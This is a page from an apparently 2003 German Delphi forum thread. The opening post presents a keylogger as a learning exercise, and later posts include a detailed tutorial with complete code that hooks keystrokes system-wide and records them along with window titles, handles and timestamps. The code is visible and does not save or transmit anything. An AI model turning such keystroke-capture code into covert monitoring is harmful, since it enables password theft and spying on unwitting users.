AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

KeyLogger

Ein Thema von Luckie · begonnen am 19. Aug 2003 · letzter Beitrag vom 16. Jul 2010
Antwort Antwort
Seite 2 von 7     12 34     Letzte »    
Benutzerbild von Luckie
Luckie
Registriert seit: 29. Mai 2002
Aya und ich haben zusammen einen KeyLogger geschrieben. Von ihr stammt die KBHook.dll und von mir die Programmoberfläche. Uns ging es rein um das Prinzip "Wie geht das", nicht mehr und nicht weniger. Es sollte auch deutlich werden, dass wir keine bösen Absichten verfolgen, da nichts auf der Festplatte gespeichert wird oder gar an uns gesendet wird. Desweiteren ist das Programm imme rin der Taskbar sichtbar!

Die Sourcen sollten nur zu Lehrzwecken dienen und wir hoffen, dass die Sourcen nicht für illegale Zwecke mißbraucht werden. Wir haben uns entschieden die Sourcen mit zu veröffentlichen, da wir der Meinung sind, dass wer Sourcecode in dieser Richtung sucht, ihn so oder so finden wird und wenn er nur beim Hook Tutorial von Assarbad landet.

Download: LuckieSpy [29 KB]
Ein Teil meines Codes würde euch verunsichern.
 
daniel-volk

 
Delphi 6 Enterprise
 
#11
  Alt 11. Sep 2003, 13:55
Danke erst einmal für deine Antwort. Aber ich bin (leider) praktisch nur das Programmieren in Units gewohnt. Dennoch hab ich mal mein Bestes versucht und die (meiner Meinung nach) wichtigen Teile aus Luckie's Projekt in meins gestopft.
Wie schaffe ich es jetzt aber, dass die Sachen auch in meiner Unit1 im Memo-Feld erscheinen? Soll ich dafür einen Timer bauen, der ständig irgendwie die Windows Message WM_KEYBOARD_HOOK abfragt? Oder geht das eleganter?
Zitat:
Diese fängst du in deiner WndProc ab und im wParam der Message hast du dann das Zeichen drin stehen.
Das hört sich irgendwie sehr kompliziert an. Kann mir das mal jemand erklären, wie ich das zu verstehen hab?

Mein Projekt-Quellcode (der viel von Luckie enthält) sieht bis jetzt jedenfalls so aus:
Delphi-Quellcode:
program Project2;

uses
  Forms,
  Unit1 in 'Unit1.pas{Form1}, windows, messages;

const
  WM_KEYBOARD_HOOK = WM_USER + 52012;
  IDC_EDTLOGGER = 102;

var
  WndTitleOld: string = '';

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';


{$R *.res}

function dlgfunc(hDlg: hWnd; uMsg: dword; wParam: wParam; lParam: lParam): bool;
  stdcall;
var
  MyFont: HFONT;
  s: string;
  TextLength: Integer;
  Buffer: PChar;
  EditText: string;
  WndTitle: array[0..255] of Char;

begin
  result := true;
  case uMsg of
    WM_KEYBOARD_HOOK:
      begin
        TextLength := SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXTLENGTH,
          0, 0);
        GetMem(Buffer, TextLength + 2);
        try
          SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXT, TextLength + 2,
            Integer(Buffer));
          case wParam of
            VK_RETURN: EditText := string(Buffer) + #13#10;
            VK_BACK:
              begin
                EditText := string(Buffer);
                Delete(EditText, length(EditText), 1);
              end;
            VK_CONTROL, VK_MENU, VK_SHIFT, VK_CAPITAL: EditText :=
              string(Buffer);
          else
            EditText := string(Buffer) + string(Chr(wParam));
          end;
          GetWindowText(lParam, @WndTitle, SizeOf(WndTitle));
          if WndTitleOld <> string(WndTitle) then
          begin
            Delete(EditText, length(EditText), 1);
            EditText := EditText + #13#10 + '[' + string(WndTitle) + ']' + #13#10
              + string(Chr(wParam));
            WndTitleOld := string(WndTitle);
          end;
          SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_SETTEXT, 0,
            Integer(@EditText[1]));
        finally
          FreeMem(Buffer);
        end;
      end;
  else
    result := false;
  end;
end;

begin
  CreateHook(Application.Handle,true);
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  DeleteHook;
end.
Sorry für die vielen dummen Fragen, aber ich programmiere noch nicht sehr lange und hab daher z.T. Probleme manche überaus komplexen Prozeduren etc zu verstehen
Aber ich bemühe mich zumindest, alles so gut es geht zu verstehen

Danke!
  Mit Zitat antworten Zitat
Benutzerbild von Meflin
Meflin
 
#12
  Alt 11. Sep 2003, 14:42
Hab da auch mal ne frage:
hab das so gemacht:
Delphi-Quellcode:
procedure Tltblform043.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
begin
Memo1.Text := Memo1.Text + Chr(Msg.wParam);
end;
da kommt dann so was bei raus:
Code:
ÿÿÿÿÿÿÿÿÿÿHhÿHÿÿAaAÿLlLLlLÿOoOÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿDdDÿUuUÿÿÿÿÿÿ UuUÿÿUuUÿÿUuUÿÿUuUUuÿUÿÿÿÿÿ ÿÿÿ ÿÿ ÿÿ
wobei ich testhalber A geschrieben habe (am anfang)
das gibt dann Aa als result!
funzt wohl so net ganz?

[edit=sakura]Zeilenumbrüche zugelassen! Mfg, sakura[/edit]
Leo S.
  Mit Zitat antworten Zitat
daniel-volk

 
Delphi 6 Enterprise
 
#13
  Alt 12. Sep 2003, 12:35
Hab das jetzt auch mal mit der WM probiert und genau das erlebt, was auch Meflin hatte.
Dass das aber kein Fehler der DLL sein kann, das zeigt ja wohl schon Luckie's Prog. Denn da geht es ja schließlich .
Vielleicht kann Luckie uns da mal den entscheidenden Tipp geben, was wir falsch machen?!

Und was bringt mir eigentlich der lParam? Der ändert sich doch auch 10mal in der Sekunde.
MfG.

Ergänzung:
Ich hab gerade festgestellt, dass bei dem benannten Fall keinen Unterschied macht, ob ich nun die Konstante
Delphi-Quellcode:
const
  WM_KEYBOARD_HOOK = WM_USER + 52012;
deklariere oder nicht. Ich vermute deshalb, dass Meflin und ich den Fehler machen, dass wir einfach alle WindowMessages abfragen und nicht nur die Message WM_KEYBOARD_HOOK. Sehe ich das richtig?
Was muss ich machen, um nur diese Message zu erhalten?

THX.
  Mit Zitat antworten Zitat
Benutzerbild von Luckie
Luckie

 
Delphi 2006 Professional
 
#14
  Alt 12. Sep 2003, 12:52
was soll ich da groß sagen? jedes mal wenn eine taste gedrückt wurde schickt die dll an das fenster welches den hook installiert hat ein WM_KEYBOARD_HOOK (was WM_USER + 52012 entspricht). im wparam steht das zeichen und im lparam das handle von dem fenster welches gerade den eingabe focus hat.

du mußt jetzt nur noch deine wndproc überschreiben und zusätzlich WM_KEYBOARD_HOOK abfangen.
Michael
  Mit Zitat antworten Zitat
Benutzerbild von Meflin
Meflin
 
#15
  Alt 12. Sep 2003, 15:06
die frage ist doch wie man die
keyboard_hook Message abfängt oder?
Leo S.
  Mit Zitat antworten Zitat
Benutzerbild von Luckie
Luckie

 
Delphi 2006 Professional
 
#16
  Alt 12. Sep 2003, 15:09
Nein. Im Moment geht e darum, dass sie es nicht gebacken bekommen die DLL zu nutzen.
Michael
  Mit Zitat antworten Zitat
Benutzerbild von Meflin
Meflin
 
#17
  Alt 12. Sep 2003, 16:51
auch wenns vielleicht nich die frage ist,
aber ich würd trotzdem gerne wissen,
wie ich an die message bessergesagt an
den inhalt der message komme!

*MFG*
Leo S.
  Mit Zitat antworten Zitat
daniel-volk

 
Delphi 6 Enterprise
 
#18
  Alt 12. Sep 2003, 17:29
@ Meflin:
Nimm mir das bitte nicht über, aber wir sind soooooo doooof!
Wir arbeiten schon mit dem ApplicationEvent-Manager und wundern uns nur, dass wir neben dem, was wir eigentlich kriegen wollen, auch noch jede Menge Müll kriegen! Aber das Richtige ist doch auch dabei!

@ Luckie:
Warum redest du die ganze Zeit davon, dass wir die WndProc abfangen sollen? Warum so kompliziert?

Eine einfache Erweiterung von Meflin's Prozedur tut's auch:

Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
begin
  Case Msg.message of
  WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam);
  end;
end;
So, jetzt einmal eine genaue Anleitung für alle, die noch nicht wissen, was sie machen sollen:
Erstellt euch zunächst eine einfache Anwendung mit einem Unit. Auf dem Formular erstellt ihr anschließend ein Memo-Feld mit dem Namen Memo1.
Geht der Eigenschaft Scrollbars den Wert ssVertical und achtet darauf, dass die Eigenschaft WordWrap auf True gesetzt ist.

Nun beginnt der Teil, der letztendlich die Keys in das Memo-Feld befördert:
Speichert das Projekt in einem Ordner und kopiert die Dateu KBHook.dll (welche in Luckie's Source enthalten ist) mit in diesen Ordner.
In Delphi folgen ein paar Klicks auf "Projekt" und "Quelltext anzeigen". Im jetzt angezeigten Programmquelltext müssen verschiedene Zeilen hinzugefügt werden:
Zu "uses" muss windows und messages hinzugefügt werden.
Außerdem müssen darunter zwei Funktionen, die den Hook installieren und deinstallieren, deklariert werden:
Delphi-Quellcode:
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';
Zur Installation und Deinstallation wird jetzt direkt unter begin die Zeile
CreateHook(Application.Handle,true);
und über end die Zeile
DeleteHook;
eingefügt.

Der fertige Code sieht dann etwa so aus (die Kommentare kennzeichnen die Teile, die für den eigentlichen Hook wichtig sind):
Delphi-Quellcode:
program Project2;

uses
  Forms,
  Unit1 in 'Unit1.pas{Form1}, {Begin KeyHook}windows, messages{End KeyHook};

// Begin KeyHook
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';
// End KeyHook

{$R *.res}

begin
  CreateHook(Application.Handle,true);
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  DeleteHook;
end.
Nun zur Unit:
Zuerst einmal muss aus der Registerkarte "Zusätzlich" die Komponente "ApplicationEvents" hinzugefügt werden.
Erstellt die Prozedur für das "OnMessage"-Ereignis und fügt folgenden Code hinzu:
Delphi-Quellcode:
Case Msg.message of
WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam);
end;
Dieser Code fügt jetzt einfach die Eingaben dem Memo-Feld hinzu.
Da das natürlich noch nicht sehr viele Infos birgt, sollte man einen etwas reichhaltigeren Code verwenden:
Zunächst müssen zwei normale Variablen deklariert werden:
Delphi-Quellcode:
Fenster_alt : longword;
    Fenster_altstr : string;
Anschließend bekommt dann die OnMessage-Prozedur folgenden Code:
Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
var
  FensterText : array[0..255] of Char;
  rem : string;
begin
  Case Msg.message of
  WM_KEYBOARD_HOOK :
    begin
      GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText));
      If Fenster_alt <> Msg.lParam
      then begin
             If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
             else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
             Fenster_alt := Msg.lParam;
             Fenster_altstr := FensterText;
           end
      else If Fenster_altstr <> Fenstertext
      then begin
             If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
             else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
             Fenster_alt := Msg.lParam;
             Fenster_altstr := Fenstertext;
           end;
      If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10
      else If Msg.wParam = VK_BACK
      then begin
             rem := memo1.text;
             If length(rem) > 0 then delete(rem,length(rem)-1,1);
             memo1.Text := rem;
           end
      else memo1.Text := memo1.Text + Char(Msg.wParam);
    end;
  end;
end;
Und das war es auch schon. Jetzt werden zusätzlich noch der Fenstertext, das Handle, das Datum und die Uhrzeit geloggt.
Diese Infos werden immer dann "aufgeschrieben", wenn sich entweder der Fenstertext ändert (zum Beipiel beim Browsen im Web) oder das Handle (neues Fenster, evtl. sogar mit gleichem Text).
Es ist also wichtig, dass sowohl Handle als auch Text geloggt werden, da sich oft nur eines ändert, es dennoch aber wichtig ist, wenn sich z.B. die Website ändert oder das Fenster ein anderes ist, das vielleicht aber zufällig die gleiche Website beinhaltet!

Hier noch der fertige Code der Unit:
Delphi-Quellcode:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, AppEvnts;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    ApplicationEvents1: TApplicationEvents;
    procedure ApplicationEvents1Message(var Msg: tagMSG;
      var Handled: Boolean);
  private
    // Begin KeyHook
    Fenster_alt : longword;
    Fenster_altstr : string;
    // End KeyHook
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

// Begin KeyHook
const
  WM_KEYBOARD_HOOK = WM_USER + 52012;
// End KeyHook

implementation

{$R *.dfm}

// Begin KeyHook
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
var
  FensterText : array[0..255] of Char;
  rem : string;
begin
  Case Msg.message of
  WM_KEYBOARD_HOOK :
    begin
      GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText));
      If Fenster_alt <> Msg.lParam
      then begin
             If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
             else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
             Fenster_alt := Msg.lParam;
             Fenster_altstr := FensterText;
           end
      else If Fenster_altstr <> Fenstertext
      then begin
             If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
             else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
             Fenster_alt := Msg.lParam;
             Fenster_altstr := Fenstertext;
           end;
      If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10
      else If Msg.wParam = VK_BACK
      then begin
             rem := memo1.text;
             If length(rem) > 0 then delete(rem,length(rem)-1,1);
             memo1.Text := rem;
           end
      else memo1.Text := memo1.Text + Char(Msg.wParam);
    end;
  end;
end;
// End KeyHook

end.
Ich weiß, dass diese Anleitung vielleicht etwas sehr genau war, aber ich selbst hab mich schon oft über halbe Anleitungen geärgert.
Deshalb kann ich nur sagen: Wer die Anleitung zu genau findet, der muss sie ja nicht lesen!
Allen anderen wünsche ich viel Spaß. Und noch etwas: Es gibt sicherlich viel zu verbessern...


MfG.
  Mit Zitat antworten Zitat
Benutzerbild von Luckie
Luckie

 
Delphi 2006 Professional
 
#19
  Alt 12. Sep 2003, 19:52
Zitat von daniel-volk:
@ Meflin:
Nimm mir das bitte nicht über, aber wir sind soooooo doooof!
Wir arbeiten schon mit dem ApplicationEvent-Manager und wundern uns nur, dass wir neben dem, was wir eigentlich kriegen wollen, auch noch jede Menge Müll kriegen! Aber das Richtige ist doch auch dabei!

@ Luckie:
Warum redest du die ganze Zeit davon, dass wir die WndProc abfangen sollen? Warum so kompliziert?
Weil ich die Komponente nicht benutze. Und was macht der, der sie nicht hat, weil er eine ältere Delphi Version hat? Der kann mit deinem Code nichts anfangen. Und die WndProc überschreiben ist auch nicht mehr Arbeit, es setzt eben nur etwas mehr Verständnis voraus.
Michael
  Mit Zitat antworten Zitat
Assarbad
 
#20
  Alt 12. Sep 2003, 20:36
Eben, Luckie meinte nur "Message abfangen"... und der Methoden gibt es viele. Welche ihr benutzen wollt, steht Euch offen.
  Mit Zitat antworten Zitat
Antwort Antwort
Seite 2 von 7     12 34     Letzte »    


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 23:07 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz